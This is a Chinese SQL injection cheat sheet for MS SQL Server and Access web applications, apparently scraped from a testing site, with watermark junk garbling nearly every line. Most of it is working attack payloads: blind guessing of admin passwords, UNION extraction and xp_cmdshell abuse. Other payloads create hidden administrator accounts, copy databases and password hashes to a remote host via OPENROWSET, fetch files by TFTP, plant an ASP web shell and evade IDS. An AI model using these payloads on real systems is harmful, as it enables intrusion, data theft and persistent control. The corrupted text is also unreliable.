1.判断有无注入点
"[:u H6Q6x C Z0H O o.C q85041; and 1=1 and 1=2 51Testing软件测试网g Q2K)h ^+n%g J u y S
2.猜表一般的表的名称无非是admin adminuser user pass password 等..51Testing软件测试网8b A r'y u j V5v
and 0<>(select count(*) from *)51Testing软件测试网*e2` P W | z
and 0<>(select count(*) from admin) ---判断是否存在admin这张表51Testing软件测试网.k"T s U+c q0e G l _$_ _
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
1L3R*M l c-x h e85041and 0<(select count(*) from admin)
s p L M9v0j+F2i85041and 1<(select count(*) from admin)
c s N q"K e850414.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
{ ]"E,\0B h85041and 1=(select count(*) from admin where len(*)>0)--
@ h n3] w m(R0A r85041and 1=(select count(*) from admin where len(用户字段名称name)>0) 51Testing软件测试网,L b v c l7y7Q
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 51Testing软件测试网 |4Y'm x0y O j
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
7p,}(t:u p85041and 1=(select count(*) from admin where len(*)>0) 51Testing软件测试网*~2R Y$` Q y3U wx*B
and 1=(select count(*) from admin where len(name)>6) 错误
+b+} p:I B%C/N85041and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
-t jJ#| T-w#d E P9k(]85041and 1=(select count(*) from admin where len(name)=6) 正确51Testing软件测试网 @ [0\ {&G)T z
and 1=(select count(*) from admin where len(password)>11) 正确
:O(l-U g$M e A85041and 1=(select count(*) from admin where len(password)>12) 错误 长度是1251Testing软件测试网4n k P I E.Q
and 1=(select count(*) from admin where len(password)=12) 正确
7B j }9l-C D)f2r850416.猜解字符
~%H l;L1p g85041and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位51Testing软件测试网 Q V/A e a0` r N Y+~
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位51Testing软件测试网7N } ^&~&W'] G
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了51Testing软件测试网0t+]%? N%O u u ^ ru/c
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
[ g k t8Z)O85041这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
9j%N w/^ H85041group by users.id having 1=1-- 51Testing软件测试网 N ] I c ^/q*b0I M
group by users.id, users.username, users.password, users.privs having 1=1--51Testing软件测试网*v J Y U w L K,k
; insert into users values( 666, attacker, foobar, 0xffff )--51Testing软件测试网:v Q| l:c q$q3^ X5Q
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
/? J)D [ N85041UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
2y8|(E ` [;o h,b E85041UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
)R N J _ C N"OA85041UNION SELECT TOP 1 login_blank>_name FROM logintable-
q R l O2] v j(E85041UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
^ i V l \85041看_blank>服务器打的补丁=出错了打了SP4补丁
;n J `2J5e0A1o O85041and 1=(select @@VERSION)--51Testing软件测试网+w] o o Y J A1w @ U
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。51Testing软件测试网 Y g#w J-Z U p N P
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
6I1z8h Z i I ` X3Q85041判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）51Testing软件测试网 L t%G.~ G q
and sa=(SELECT System_blank>_user)--
*q;` \0Q)r#C ` ~85041and user_blank>_name()=dbo--
h6j M$S D6}85041and 0<>(select user_blank>_name()--51Testing软件测试网7c o-|.C#c'] g Y W%B [i
看xp_blank>_cmdshell是否删除51Testing软件测试网 Ae ` H"\
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
+v3nq(R(u8?4a85041xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
+n F2x d Y k T5E f85041;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--51Testing软件测试网 i P'd i [*K#}
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--51Testing软件测试网 E ^&b.O3\ I
反向PING自己实验
l o#u$X ~*w"t4w7C;y85041;use master;declare @s int;exec sp_blank>_oacreate "wscrīpt.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
?$F$~ p/u85041加帐号51Testing软件测试网1}!V$^ d(@ L | z
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
A | F j ])U:|5x2F85041创建一个虚拟目录E盘：
*w F$~"P%S#f-n W3i X85041;declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscrīpt.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--51Testing软件测试网"[ f0|)| g
访问属性：（配合写入一个webshell） 51Testing软件测试网)V&s [9J o E _
declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscrīpt.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
&E B?$K$k*[3S/c7f i85041爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交 51Testing软件测试网 M y-`*o2U
and 0<>(select top 1 paths from newtable)-- 51Testing软件测试网9G f e)A ? E g+l%y _
得到库名（从1到5都是系统的id，6以上才可以判断）
b;` | a;x z)b85041and 1=(select name from master.dbo.sysdatabases where dbid=7)--
J \;p&A:O a b&A J85041and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 51Testing软件测试网2^6_ ?(Q LZ
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名51Testing软件测试网6r E$D)l d W*c4W:X n-T
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
k @+]!L ~ ` o ? B w85041and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
I M ~ A W m4U ~85041and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 51Testing软件测试网 b.j @/\ |)}
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
h:E+z3{ U ]1[85041and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
z6y [ M2D l7? K l85041and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
o"d1T8b u*X'h85041(id,...)) 来暴出其他的字段 51Testing软件测试网'b.L,u4K J4i
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
;` L"~0Z J {%y!S85041依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 51Testing软件测试网4o `7u H |
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 51Testing软件测试网 A ` i | e
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
O e,_ m1g \;s T K9W85041and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 51Testing软件测试网4t X+s v)Y r4j b
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 51Testing软件测试网 V*D o#[ V+[,H.L
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 51Testing软件测试网 t'P.`5q D
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
|"p V l K8E(X85041?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)51Testing软件测试网 cf1j P)G |9X*q)V {2h t
得到WEB路径
i ~ b v J&w2\ X G;Q X85041;create table [dbo].[swap] ([swappass][char](255));-- 51Testing软件测试网4r4k&l ~ {*[0E
and (select top 1 swappass from swap)=1--51Testing软件测试网4W [ C"W%E
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--51Testing软件测试网5b t C$w E f#A2b D
;use ku1;--
.J0X r Y2q d c9o _ {85041;create table cmd (str image);-- 建立image类型的表cmd51Testing软件测试网9p;H'R1k)N4\ O#V
存在xp_blank>_cmdshell的测试过程： 51Testing软件测试网 {)Y S$Y a V;D%m T S3z
;exec master..xp_blank>_cmdshell dir
Ew6FH i q85041;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
y Q6n-d s i:A85041;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 51Testing软件测试网-@-H O W3^ d5w d ?
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- 51Testing软件测试网Q;` L T-B D F K$n
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 51Testing软件测试网;b&l [ | j Z y V9D
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
4o | E;r ` r;U85041exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务51Testing软件测试网1} o W K)a C:^9p
exec master..xp_blank>_servicecontrol start, server 51Testing软件测试网 t o l*U v2C o
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add 51Testing软件测试网 a1W G H k T$R o3@
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 51Testing软件测试网 l Q,}:L e&]
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件51Testing软件测试网:B'j s.Q j5g ]$g m \7I
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 51Testing软件测试网!p @ h \ L N
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
[ Q Ys i:e%O8] ]9z85041;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
![6z%c X2z ` Z0n85041如果被限制则可以。
(i b+t i W6G8g5k P85041select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
~ U9y6x U K d ^,a |85041查询构造： 51Testing软件测试网8Q a f t Q5I
SELECT * FROM news WHERE id=... AND topic=... AND .....
} m T g f"c0D(G8u j85041adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 51Testing软件测试网 Q c0i D {-Y8H o6u M/N4m y
select 123;-- 51Testing软件测试网 _,T/z1{ ^ c E/` X'?
use master;-- 51Testing软件测试网 j p*H y d-D
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
1? U Y'[&|85041and 1<>(select count(email) from [user]);--
%j!w |:T,j-z X b X n85041;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 51Testing软件测试网/\ } w ` M V,L q
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 51Testing软件测试网 r(t8U y L:O
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
] m v d:} _*w(Q2R85041;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
.x u m8i F$?2Y n r g85041;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 51Testing软件测试网 z;\-k6d1oO
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
~8W a w3K HC85041上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
x2h C r k85041通过查看ffff的用户资料可得第一个用表叫ad
0[%[&H(d S85041然后根据表名ad得到这个表的ID 得到第二个表的名字51Testing软件测试网9v'|)V F%o;? Z w v
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--51Testing软件测试网 P P g2W PX o9Y K T
insert into users values( 667,123,123,0xffff)--
@3L.{ { ` ` ^ g u85041insert into users values ( 123, admin--, password, 0xffff)--51Testing软件测试网 \ ^4H%P V7@ }*u3v
;and user>0
2m _.Y'W*|6a F A85041;and (select count(*) from sysobjects)>0 51Testing软件测试网5i [ F f5W Wb x:p
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 51Testing软件测试网#P Z k ~ A ` d N w$q
枚举出数据表名51Testing软件测试网 L;z n-{ r%[,i
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
"m"Q7C P6t t I&g Y D P1V2Q85041这是将第一个表名更新到aaa的字段处。
r(r H b p85041读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
` u y z%{,F \%q"E N85041;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 51Testing软件测试网 \2@ c H"y x L6}
然后id=1552 and exists(select * from aaa where aaa>5)
:@,` _#q i X$j85041读出第二个表，一个个的读出，直到没有为止。
:W8i d,N.C6~!K85041读字段是这样：
/Q i$L m1W85041;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 51Testing软件测试网 L b)W O Q v2l-M H K @
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
@ N ~ k+S-^3g X85041;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
O-Q Q5m ? |*x85041然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
V*\ ? d4R S Y D*M85041[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
m+[ x h { D7v {!q+x+Y85041update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 51Testing软件测试网-s X z _*z
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 51Testing软件测试网 `*P S x3p ^!j:b L
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
:U d-g J8| V3r85041update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
u b M e o85041绕过IDS的检测[使用变量] 51Testing软件测试网 ] ` e8z/z,L d%P;U z
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
T I'b h-d,k F1j t85041;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 51Testing软件测试网 Z [ L B r7^ k
1、 开启远程_blank>数据库 51Testing软件测试网 ? D(E b"e g [
基本语法 51Testing软件测试网&n4P'E M%G/G O
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
0q1Y k4MS i)Q U85041参数: (1) OLEDB Provider name
k3r9n v!C c6Q850412、 其中连接字符串参数可以是任何端口用来连接,比如
x W!N S*p e I U {85041select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
Z*@'U j5[850413.复制目标主机的整个_blank>数据库insert所有远程表到本地表。51Testing软件测试网 v d2_ |,G(t t m
基本语法： 51Testing软件测试网 _ A T d$y R o
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
r |2m S)T.e p ? v I85041这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： 51Testing软件测试网 C _ H r%z \1c v g
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 51Testing软件测试网+W3o7W2t2g-k
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
V h r&N:b h k8L)N*W$Y85041select * from master.dbo.sysdatabases 51Testing软件测试网 v#y2l G x i Y _
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
d N G,F }/K85041select * from user_blank>_database.dbo.sysobjects
d;M$l S.z85041insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
7? ]'l#N+T/E,W85041select * from user_blank>_database.dbo.syscolumns 51Testing软件测试网9@-C V.G \ o9i+B
复制_blank>数据库：
z6y G g Z3G L R85041insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
?*n g B$o n'i7\85041insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
_$k ~:L D7P U85041复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下： 51Testing软件测试网 e @ c/\2E i K | K \ d
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
N R"[(? J.i T85041得到hash之后，就可以进行暴力破解。51Testing软件测试网Q [ L q.~ j
遍历目录的方法： 先创建一个临时表：temp
E u ^*G s-K X w)}85041;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
9Y6g n.V | F9|2X t85041;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
j [ a;m t!B85041;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 51Testing软件测试网0p a1n8n O r6r [ V A
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
2O \-x3d/g h a85041;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
+f;f1s1}-h f85041;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
'V'B y i H ` C85041;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
e e S7z ` B(L8i"~ _85041;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrīpt C:\Inetpub\Adminscrīpts\adsutil.vbs enum w3svc
I R S _*A"v y a z z d85041;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree适用权限PUBLIC） 51Testing软件测试网'g%s r Dj9\.b
写入表： 51Testing软件测试网 ` A J+b m;n'@
语句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 51Testing软件测试网5Q n&B Y F |5[ H2Q
语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
^0`5q \ Y j Z H J85041语句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
S$~;J S P v C85041语句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
f a j n l v a85041语句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
t v&s6Y k85041语句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
? v A S @"]85041语句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
!f/@ o7M m85041语句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 51Testing软件测试网 K T Z }6i(H y
语句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 51Testing软件测试网 k A.T4o;} e P7l&I&N \#z
把路径写到表中去：
4R,D3u B w ^0_+u a X85041;create table dirs(paths varchar(100), id int)--
:y E-x F M D d.g85041;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
%Y1K1~5x d7F5D2P&t85041and 0<>(select top 1 paths from dirs)--
Y [ ^/l%J.X+q J85041and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--51Testing软件测试网 y6@)F ] z2H
;create table dirs1(paths varchar(100), id int)--
9v'B Y*Y5d m85041;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
w3a:Y9K0P(i:x85041and 0<>(select top 1 paths from dirs1)--51Testing软件测试网)d C y b D1t3T n
把_blank>数据库备份到网页目录：下载 51Testing软件测试网 HP,QG D+x
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
D h d'U'~ b P$J q85041and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
8[ l ~ Y"{ O y:^ B85041and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 51Testing软件测试网r k Q;J%g2x
and 1=(select user_blank>_id from USER_blank>_LOGIN) 51Testing软件测试网 t T x c k
and 0=(select user from USER_blank>_LOGIN where user>1)
H j H h%b)D a x85041-=- wscrīpt.shell example -=-
e y!C I/W&s ?4m$` u V85041declare @o int 51Testing软件测试网 j p g8G#F"x4H a
exec sp_blank>_oacreate wscrīpt.shell, @o out
K/g(M7N R2} S$[ ~85041exec sp_blank>_oamethod @o, run, NULL, notepad.exe 51Testing软件测试网9a9@/[ x _1p ] B ^0b
; declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
\ R"u n;g1G6C8?#V85041declare @o int, @f int, @t int, @ret int
p h0u+{0v k |-P _85041declare @line varchar(8000) 51Testing软件测试网 i,u r P m
exec sp_blank>_oacreate scrīpting.filesystemobject, @o out
)r d i m f&s ^:v85041exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 51Testing软件测试网 l { v,J ?
exec @ret = sp_blank>_oamethod @f, readline, @line out
m7j U-c A G ?85041while( @ret = 0 )
C"b [,j z W G85041begin
T)o H%s$e7K N#V*Z85041print @line 51Testing软件测试网 K7v f"e+b)G$t+u
exec @ret = sp_blank>_oamethod @f, readline, @line out
N `$| h,S f t ]%`85041end 51Testing软件测试网%?;] P K0w!?(E.B;A3U
declare @o int, @f int, @t int, @ret int 51Testing软件测试网 _?.E7q w }
exec sp_blank>_oacreate scrīpting.filesystemobject, @o out
J C.m%r,X G7c S i1_85041exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
k5D c Kd+d W P85041exec @ret = sp_blank>_oamethod @f, writeline, NULL,
\'H E B%o1B2w85041<% set o = server.createobject("wscrīpt.shell"): o.run( request.querystring("cmd") ) %> 51Testing软件测试网 d.G L _ @+j @
declare @o int, @ret int
b4L7O'] r4a85041exec sp_blank>_oacreate speech.voicetext, @o out 51Testing软件测试网 U#C1K)q ? \ s!T
exec sp_blank>_oamethod @o, register, NULL, foo, bar 51Testing软件测试网 H _6i Z.c O9Q y F
exec sp_blank>_oasetproperty @o, speed, 150 51Testing软件测试网 h s8W q5T U |(h @/V
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
#{ i ` W2A f0[ s85041waitfor delay 00:00:05 51Testing软件测试网3b L [ X'r1R2H k
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 51Testing软件测试网"O O4y @@$w f.o w7S
xp_blank>_dirtree适用权限PUBLIC
s'o L ` T#B \,['i85041exec master.dbo.xp_blank>_dirtree c:\
"a e%w A |3c85041返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
r"s,E'N c a6@ } C85041create table dirs(paths varchar(100), id int)51Testing软件测试网2t9Q }+h w7L V
建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。
'K:O U;U m E8_"A w z85041insert dirs exec master.dbo.xp_blank>_dirtree c:\51Testing软件测试网(c$q%N.p8k4k$H [ m |8t
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！